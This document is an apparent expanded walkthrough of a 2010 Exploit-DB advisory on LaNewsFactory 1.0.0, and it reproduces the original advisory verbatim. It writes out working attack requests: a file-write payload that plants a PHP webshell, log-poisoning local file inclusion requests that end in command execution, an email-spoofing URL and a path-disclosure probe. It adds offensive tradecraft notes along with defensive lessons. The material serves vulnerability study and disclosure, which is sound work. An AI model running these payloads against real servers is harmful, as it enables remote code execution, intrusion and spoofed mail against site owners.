Exploiting LaNewsFactory: A Deep Dive into Multiple Vulnerabilities

What this paper is

This paper details several vulnerabilities found in LaNewsFactory, a news management system that does not require a database. The vulnerabilities, discovered by Salvatore Fresta, allow unauthenticated users (guests) to perform actions such as writing arbitrary files, including local files, and reading local files on the affected system. The paper categorizes these as: Anonymous Email, Remote File Writing, Multiple Local File Inclusion, and Full Path Disclosure.

Simple technical breakdown

LaNewsFactory's core issue lies in its insufficient input validation. When user-supplied data is used in file operations or included directly into PHP code, the application fails to properly sanitize it. This allows attackers to manipulate file paths, inject malicious code, and ultimately gain control over the server.

• Anonymous Email: The mailto.php script allows anyone to send an email to a specified recipient, using the application's server to do so. It doesn't properly check the sender's email address, making it appear as if the email originated from the server.
• Remote File Writing: The save-edited-news.php script is designed to save edited news articles. However, it allows an attacker to specify any filename and content, including PHP code, effectively letting them write arbitrary files to the server.
• Local File Inclusion (LFI): Several PHP files within LaNewsFactory use the include function with user-controlled input without proper sanitization. This means an attacker can trick the application into including and executing the content of arbitrary local files on the server, such as configuration files or even the web server's log files.
• Full Path Disclosure (FPD): The print.php script, when encountering errors, reveals the full absolute path of the files on the server. This information can be invaluable to an attacker, helping them to craft more precise LFI or other file-based attacks.

Complete code and payload walkthrough

The provided paper does not contain the full source code of LaNewsFactory. Instead, it presents sample code demonstrating the exploitation of the vulnerabilities. We will analyze these sample exploitation snippets.

A) Anonymous email

Sample Code:

mailto.php?friendemail=target@email.com&youremail=ano@email.com&comments=suck!

Explanation:
This is a URL query string targeting the mailto.php script.

• friendemail=target@email.com: This parameter specifies the recipient of the email.
• youremail=ano@email.com: This parameter is intended to be the sender's email address. The vulnerability lies in the fact that the application likely uses this directly in the mail() function's From: header without proper validation or sanitization.
• comments=suck!: This parameter contains the body of the email message.

Mapping:

• mailto.php: The script that handles sending emails.
• friendemail parameter: Recipient address.
• youremail parameter: Sender address (exploited for spoofing).
• comments parameter: Email body.

Underlying PHP (Inferred from paper's description):
The paper mentions the following PHP snippet within mailto.php:

if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))
{
	mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");
}

• ValidEmailAdress(): This function is supposed to validate email addresses. The vulnerability implies this validation is insufficient or bypassed.
• mail(): The core PHP function used to send emails.
  • The first argument ($friendemail) is the recipient.
  • The second argument ($display[$lang]["mailtoafriend"]) is the email subject.
  • The third argument ("$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname") is the email body. It includes the comments, a link to a printed article, and the sender's name.
  • The fourth argument ("From: $youremail") sets the "From" header of the email. This is the critical part for spoofing. By controlling $youremail, an attacker can set the "From" address to anything they want, making it appear as if the email originated from a different address.

B) Remote File Writing

Sample Code:

save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>

Explanation:
This is a URL query string targeting the save-edited-news.php script.

• save-edited-news.php: The script responsible for saving news articles.
• art=news/file.php: This parameter specifies the filename where the news content will be saved. The attacker controls this path and filename. By setting it to news/file.php, they are instructing the application to save the content as a PHP file named file.php within the news directory.
• corps=<?php system($_GET[cmd]); ?>: This parameter contains the content to be saved into the file specified by art. The attacker injects a PHP payload here.
  • <?php ... ?>: This is the standard PHP opening and closing tag.
  • system($_GET[cmd]): This is a PHP function that executes a command on the server's operating system. It takes the command string as an argument. In this case, it's instructed to execute whatever command is passed via the cmd GET parameter in the URL.

Mapping:

• save-edited-news.php: The vulnerable script.
• art parameter: Controls the target filename and path for saving.
• corps parameter: Contains the data to be written to the file.
• <?php system($_GET[cmd]); ?>: The injected PHP payload for remote command execution.

Underlying PHP (Inferred from paper's description):
The paper implies that save-edited-news.php takes the content from the corps parameter and writes it to a file specified by the art parameter. A simplified, vulnerable version might look like this:

<?php
$filename = $_GET['art']; // e.g., 'news/file.php'
$content = $_GET['corps']; // e.g., '<?php system($_GET[cmd]); ?>'

// This is where the vulnerability lies: no sanitization of $filename
// and direct writing of $content.
file_put_contents($filename, $content);
?>

When this script is executed with the sample URL, it would create a file named news/file.php on the server containing <?php system($_GET[cmd]); ?>. Subsequently, an attacker could navigate to news/file.php?cmd=ls (or any other command) to execute commands on the server.

C) Multiple Local File Inclusion

The paper states there are "many files that use a not sanitised input with include PHP function." It provides a general example of how this can be exploited, specifically by including the Apache log file.

Sample Code (General LFI exploitation pattern):

print.php?art=-1.xml

(This specific example is more related to Full Path Disclosure, but the principle of using art with include is the same for LFI).

A more direct LFI example, based on the description, would involve a script like this:

<?php
$page_to_include = $_GET['page']; // User-controlled input
include($page_to_include);      // Vulnerable include
?>

If an attacker can control the $page_to_include variable, they can include arbitrary files.

Exploiting Apache Log File:
The paper suggests including the Apache log file. The exact path of the log file varies by server configuration, but common locations include /var/log/apache2/access.log or /var/log/httpd/access_log.

To exploit this, an attacker would first need to ensure their malicious input is logged. This is typically achieved by making a request to the web server that includes their payload in a part that gets logged, such as the User-Agent string or the requested URL path.

Example Scenario:

1. Attacker makes a request:

   GET /some_script.php?param=<?php phpinfo(); ?> HTTP/1.1
   Host: vulnerable-site.com
   User-Agent: Malicious-Payload-Here

   This request, if the User-Agent is logged, will have Malicious-Payload-Here written into the access log.

2. Attacker then uses LFI to include the log file and execute the payload:
   Assuming a script include.php exists that uses include($_GET['file']), the attacker would craft a URL like:

   http://vulnerable-site.com/include.php?file=../../../../var/log/apache2/access.log

   If the log file contains the payload, and the include function processes it, the payload would be executed. However, a more common technique for LFI with log files is to inject PHP code into the log entries and then include the log file.

   A more direct approach for injecting into logs and then including them:

   • Inject into log: Make a request where the payload is part of the logged data, e.g., a User-Agent:

     GET / HTTP/1.1
     Host: vulnerable-site.com
     User-Agent: <?php system($_GET['cmd']); ?>

   • Include log and execute: Then, use an LFI vulnerability in another script (or even print.php if it uses include on the art parameter) to include the log file.

     http://vulnerable-site.com/print.php?art=../../../../var/log/apache2/access.log&cmd=id

     The print.php script would include the log file. When it encounters the <?php system($_GET['cmd']); ?> string within the log file, it would interpret it as PHP code and execute the id command.

Mapping:

• include PHP function: The core PHP construct being abused.
• not sanitised input: The lack of validation on user-supplied data passed to include.
• Apache Log file: A common target for LFI to achieve remote code execution, as attacker-controlled data can often be written into it.

D) Full Path Disclosure

Sample Code:

print.php?art=-1.xml

Explanation:
This URL targets the print.php script. The art parameter is used to specify an article to print. When an invalid or non-existent article ID is provided (like -1.xml), the script likely attempts to load it, fails, and then outputs an error message that includes the full, absolute path to the file it was trying to access or the script itself.

Mapping:

• print.php: The vulnerable script.
• art parameter: Used to trigger an error by requesting a non-existent resource.
• Full path disclosure: The information leakage.

Underlying PHP (Inferred from paper's description):
The paper states that print.php "prints many errors by including the full path of the file." A hypothetical vulnerable snippet could be:

<?php
$article_id = $_GET['art']; // e.g., '-1.xml'
$filepath = "articles/" . $article_id; // Construct a path

if (!file_exists($filepath)) {
    // Error handling that reveals the full path
    echo "Error: Could not find article at " . realpath($filepath) . " or " . __FILE__;
    // Or a more direct error message that includes the path
    // die("Error loading article: " . $filepath); // If $filepath is absolute, this leaks it.
    // A common pattern is to use error reporting that shows paths.
    error_reporting(E_ALL); // Ensure all errors are shown
    // ... code that might try to include or access $filepath and generate a PHP error ...
} else {
    // ... include or display the article ...
}
?>

When print.php?art=-1.xml is requested, the application tries to find articles/-1.xml. If it doesn't exist, and error reporting is enabled, PHP might output an error message like: Warning: include(articles/-1.xml): failed to open stream: No such file or directory in /var/www/html/lanewsfactory/print.php on line 15. The /var/www/html/lanewsfactory/ part is the full path.

Practical details for offensive operations teams

Planning Assumptions

• Target Application: LaNewsFactory version <= 1.0.0 is deployed and accessible via HTTP/HTTPS.
• Network Access: The target application is reachable from the offensive team's network.
• No Authentication Required: The identified vulnerabilities (Remote File Writing, LFI, FPD) are exploitable by unauthenticated users.
• PHP Environment: The web server is running PHP, and the mail() function is enabled and configured.
• File System Permissions: The web server process has write permissions to directories where files can be saved (e.g., the news directory or similar).

Lab Preconditions

• Vulnerable Application: A local or network-accessible instance of LaNewsFactory <= 1.0.0 must be set up. This can be done using Docker, a virtual machine, or a dedicated test server.
• Web Server Configuration: A web server (e.g., Apache, Nginx) with PHP configured to serve LaNewsFactory.
• Network Connectivity: The lab environment must allow network traffic between the attacker machine and the target application.
• Log File Access (for LFI): If demonstrating LFI via log files, ensure the web server's access logs are accessible and contain predictable entries.

Tooling Assumptions

• Web Browser: For manual reconnaissance and initial testing of FPD and anonymous email.
• Web Proxy (e.g., Burp Suite, OWASP ZAP): Essential for intercepting, modifying, and replaying HTTP requests. Crucial for crafting malicious payloads for file writing and LFI.
• Command-line Tools (e.g., curl, wget): Useful for scripting and automating requests.
• Metasploit Framework (Optional): May contain modules for exploiting LFI or RCE vulnerabilities if they are common enough. However, manual exploitation is often more instructive and adaptable.

Execution Pitfalls and Tradecraft Considerations

• File Path Traversal: For Remote File Writing and LFI, understanding directory structures and using ../ for path traversal is critical. The depth of traversal needed depends on the application's installation path relative to the web root.
• Payload Encoding/Obfuscation: If the application has basic filters, payloads might need encoding (e.g., URL encoding, base64 for PHP strings) or obfuscation. However, the paper suggests minimal sanitization, so direct injection is likely.
• Web Server Configuration: The exact path to log files for LFI varies. Reconnaissance might be needed to identify these paths. Full Path Disclosure is a key enabler for this.
• mail() Function Restrictions: Some server configurations might restrict the mail() function (e.g., disallowing certain sender addresses or limiting outgoing connections).
• Write Permissions: The Remote File Writing vulnerability is contingent on the web server process having write permissions to the target directory. If it doesn't, this specific vector will fail.
• File Extension Handling: When writing PHP files, ensure the correct .php extension is used so the web server executes it.
• Error Reporting: For FPD, ensure the target server has error reporting enabled that displays full paths. This might not be the case in production environments.
• Telemetry:
  • Anonymous Email: Outgoing email logs from the target server, recipient email server logs.
  • Remote File Writing: Web server access logs (requests to save-edited-news.php), file system logs (creation of new files), network traffic (if commands are executed via system($_GET[cmd])).
  • LFI: Web server access logs (requests to scripts that perform include), file system logs (access to sensitive files), network traffic (if commands are executed).
  • FPD: Web server access logs (requests to print.php), error logs.

Required Access Level

• Initial Access: Network access to the web server hosting LaNewsFactory.
• Exploitation: No prior authentication or elevated privileges are required for these specific vulnerabilities. They are exploitable by any user who can send HTTP requests to the application.

Where this was used and when

• Context: This paper describes vulnerabilities in a news management system. Such systems are often deployed on websites for content publishing.
• Usage: The vulnerabilities would have been used in unauthorized access scenarios, potentially for website defacement (by writing malicious files), information gathering (via LFI and FPD), or gaining full control of the web server (via RCE from file writing or LFI).
• Timeframe: The advisory was released on 2010-04-19. Therefore, these vulnerabilities were relevant and exploitable around 2010 and in the years immediately following, until the application was patched or migrated. Given the age, it's highly unlikely this specific version is still widely deployed, but the principles of these vulnerabilities are timeless.

Defensive lessons for modern teams

• Input Validation is Paramount: Always validate and sanitize all user-supplied input, especially when it's used in file operations, database queries, or executed as code. Use allowlists where possible.
• Secure File Handling:
  • Never allow user input to directly control file paths for writing or inclusion.
  • Use secure functions for file operations and restrict write permissions to only necessary directories.
  • Avoid including files based on user input. If dynamic inclusion is necessary, use a strict mapping of user input to a predefined list of safe files.
• Prevent Full Path Disclosure: Configure web servers and applications to suppress detailed error messages in production environments. Log errors to secure, inaccessible files.
• Principle of Least Privilege: Ensure the web server process runs with the minimum necessary file system permissions.
• Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest secure versions.
• Web Application Firewalls (WAFs): WAFs can help detect and block common LFI and RCE attempts, but they are not a substitute for secure coding practices.
• Secure Mail Configuration: If using mail functions, ensure proper sender validation and consider using authenticated SMTP for sending emails to prevent spoofing.

ASCII visual (if applicable)

This scenario can be visualized as a flow of data from the attacker to the application, where validation is missing, leading to unintended actions.

+-----------------+      +----------------------+      +---------------------+
| Attacker (HTTP) |----->| LaNewsFactory App    |----->| Web Server/OS       |
+-----------------+      | (Vulnerable Scripts) |      | (File System, Mail) |
                         +----------------------+      +---------------------+
                                    ^
                                    | (Missing Validation)
                                    |
                         +------------------------+
                         | User-Controlled Input  |
                         | (e.g., file paths,     |
                         |  code snippets, emails)|
                         +------------------------+

Explanation:
The attacker sends HTTP requests to the LaNewsFactory application. Within the application, vulnerable scripts process user-controlled input (like filenames, email addresses, or code snippets). Because the application lacks proper validation, this input is directly used in sensitive operations (writing files, including files, sending mail), leading to unintended consequences on the web server/OS.

Source references

• PAPER ID: 12361
• PAPER TITLE: lanewsfactory - Multiple Vulnerabilities
• AUTHOR: Salvatore Fresta
• PUBLISHED: 2010-04-23
• PAPER URL: https://www.exploit-db.com/papers/12361
• RAW URL: https://www.exploit-db.com/raw/12361
• Original Advisory URL: http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt

Original Exploit-DB Content (Verbatim)

LaNewsFactory Multiple Remote Vulnerabilities
http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt

 Name              LaNewsFactory
 Vendor            Christophe Brocas
 Versions Affected <= 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-04-19

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE
 

I. ABOUT THE APPLICATION

This  is  a  very used  news manager that  not require a
database.


II. DESCRIPTION

This news managment is affected  by many  vulnerabilities
that  allows  a  guest  to  write  arbitrary files on the
system, include local files, read local files etc..


III. ANALYSIS

Summary:

 A) Anonymous email
 B) Remote File Writing
 C) Multiple Local File Inclusion
 D) Full Path Disclosure

A) Anonymous email

The mailto.php file allows a guest to send arbitrary emails.
The input is not properly sanitised:

if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))
{
	mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");


B) Remote File Writing

The save-edited-news.php  file  allows a guest to write a
file  on the  system.  This  vulnerability may be used to
execute remote commands on the system.


C) Multiple Local File Inclusion

There are many files that use a not sanitised input with
include PHP function. This  vulnerability  may be used to
execute remote commands by including the Apache Log file.


D) Full Path Disclosure

For  example,   print.php  file  prints  many  errors  by
including the full path of the file.  This  path  may  be
very useful for local file inclusion and other.



IV. SAMPLE CODE

A) Anonymous email

	mailto.php?friendemail=target@email.com&youremail=ano@email.com&comments=suck!
	
	
B) Remote File Writing to Remote Command Execution

	save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>
	
	
D) Full Path Disclosure

	print.php?art=-1.xml


V. FIX

No fix.


VIII. DISCLOSURE TIMELINE

2010-04-19 Bugs discovered
2010-04-19 Advisory released